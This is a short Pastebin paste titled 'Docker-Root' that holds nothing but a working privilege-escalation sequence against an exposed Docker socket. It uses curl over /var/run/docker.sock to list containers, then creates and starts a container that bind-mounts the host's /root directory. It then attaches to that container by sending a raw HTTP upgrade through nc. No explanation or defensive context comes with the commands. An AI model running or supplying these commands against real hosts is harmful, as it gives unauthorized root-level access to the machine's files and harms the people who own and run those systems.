Advertisement
Ng4P4L

Docker-Root

Sep 6th, 2021
64
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. curl -XGET --unix-socket /var/run/docker.sock http://localhost/containers/json
  2.  
  3. echo -e '{"Image":"ubuntu","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","Openstdin":true,"Mounts":[{"Type":"bind","Source":"/root/","Target":"/os_root"}]}' > container.json
  4.  
  5. curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d "$(cat container.json)" http://localhost/containers/create
  6.  
  7. curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/3ec6/start
  8.  
  9. nc -U /var/run/docker.sock
  10.  
  11. POST /containers/af7e/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
  12. HOST:
  13. Connection: Upgrade
  14. Upgrade: tcp
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement